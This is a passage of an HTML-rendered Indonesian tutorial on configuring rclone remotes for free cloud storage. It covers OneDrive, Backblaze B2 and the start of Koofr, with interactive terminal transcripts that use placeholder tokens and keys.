&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; (remote) machine without web browser access&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sure&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;failed,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;N.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) No&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/n&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;doesn&apos;t open automatically go to the following link: http://127.0.0.1:53682/auth&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Log in and authorize rclone for access&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Waiting for code...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Got code&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose a number from below, or type in an existing value&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1 / OneDrive Personal or Business&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;\ &quot;onedrive&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;2 / Sharepoint site&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;\ &quot;sharepoint&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;3 / Type in driveID&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;\ &quot;driveid&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;4 / Type in SiteID&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;\ &quot;siteid&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;5 / Search a Sharepoint site&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;\ &quot;search&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Your choice&amp;gt; 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Found 1 drives, please select the one you want to use:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;0: OneDrive (business) id=b!Eqwertyuiopasdfghjklzxcvbnm-7mnbvcxzlkjhgfdsapoiuytrewqk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Chose drive to use:&amp;gt; 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Found drive &apos;root&apos; of type &apos;business&apos;, URL: https://org-my.sharepoint.com/personal/you/Documents&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Is that okay?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y) Yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n) No&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/n&amp;gt; y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Configuration complete.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Options:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- type: onedrive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- token: {&quot;access_token&quot;:&quot;youraccesstoken&quot;,&quot;token_type&quot;:&quot;Bearer&quot;,&quot;refresh_token&quot;:&quot;yourrefreshtoken&quot;,&quot;expiry&quot;:&quot;2018-08-26T22:39:52.486512262+08:00&quot;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- drive_id: b!Eqwertyuiopasdfghjklzxcvbnm-7mnbvcxzlkjhgfdsapoiuytrewqk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- drive_type: business&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Keep this &quot;remote&quot; remote?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y) Yes this is OK&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e) Edit this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d) Delete this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/e/d&amp;gt; y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita bisa melihat konfigurasi One Drive:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_drive&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;One Drive configuration&quot; loading=&quot;lazy&quot; width=&quot;1412&quot; height=&quot;770&quot; src=&quot;/_astro/ss6.B7dlrImp_Z2cRCMx.webp&quot; /&gt;&lt;figcaption&gt;One Drive configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;5. Backblaze B2&lt;a href=&quot;#5-backblaze-b2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.backblaze.com/cloud-storage&quot; target=&quot;_blank&quot;&gt;Backblaze B2&lt;/a&gt; menyediakan [&lt;strong&gt;10 GB&lt;/strong&gt;] penyimpanan gratis kepada penggunanya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Persyaratan yang perlu dipenuhi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;account (application key ID)&lt;/li&gt;
&lt;li&gt;key (application key)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah langkah-langkah (yang paling sederhana) untuk mengkonfigurasi Backblaze.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selanjutnya, kita akan diarahkan pada proses interaktif:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remotes&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;found,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;one&lt;/span&gt;&lt;span&gt;\?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;backblaze&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ini boleh diisi sesuai nama yang ingin kalian buat.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;of&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configure.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;XX&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Backblaze&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;B2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;b2&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Storage&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;b2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Account&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ID&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Application&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ID&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;account&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;123456789abc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Application&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;key&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;0123456789abcdef0123456789abcdef0123456789&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Endpoint&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;service&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;leave&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;blank&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;normally.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;endpoint&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;complete.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Options:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;account:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;123456789abc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;key:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0123456789abcdef0123456789abcdef0123456789&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;endpoint:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Keep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;this&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;remote&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes this is OK&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;) Edit this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;) Delete this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/e/d&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita bisa melihat konfigurasi Backblaze:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_drive&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Backblaze B2 configuration&quot; loading=&quot;lazy&quot; width=&quot;762&quot; height=&quot;386&quot; src=&quot;/_astro/ss7.DAPlTLvf_H8lfK.webp&quot; /&gt;&lt;figcaption&gt;Backblaze B2 configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;6. Koofr&lt;a href=&quot;#6-koofr&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://koofr.eu/&quot; target=&quot;_blank&quot;&gt;Koofr&lt;/a&gt; menyediakan [&lt;strong&gt;10 GB&lt;/strong&gt;] penyimpanan gratis kepada penggunanya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Persyaratan yang perlu dipenuhi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;username (email)&lt;/li&gt;
&lt;li&gt;password&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah langkah-langkah (yang paling sederhana) untuk mengkonfigurasi Koofr.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selanjutnya, kita akan diarahkan pada proses interaktif:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remotes&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;found,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; 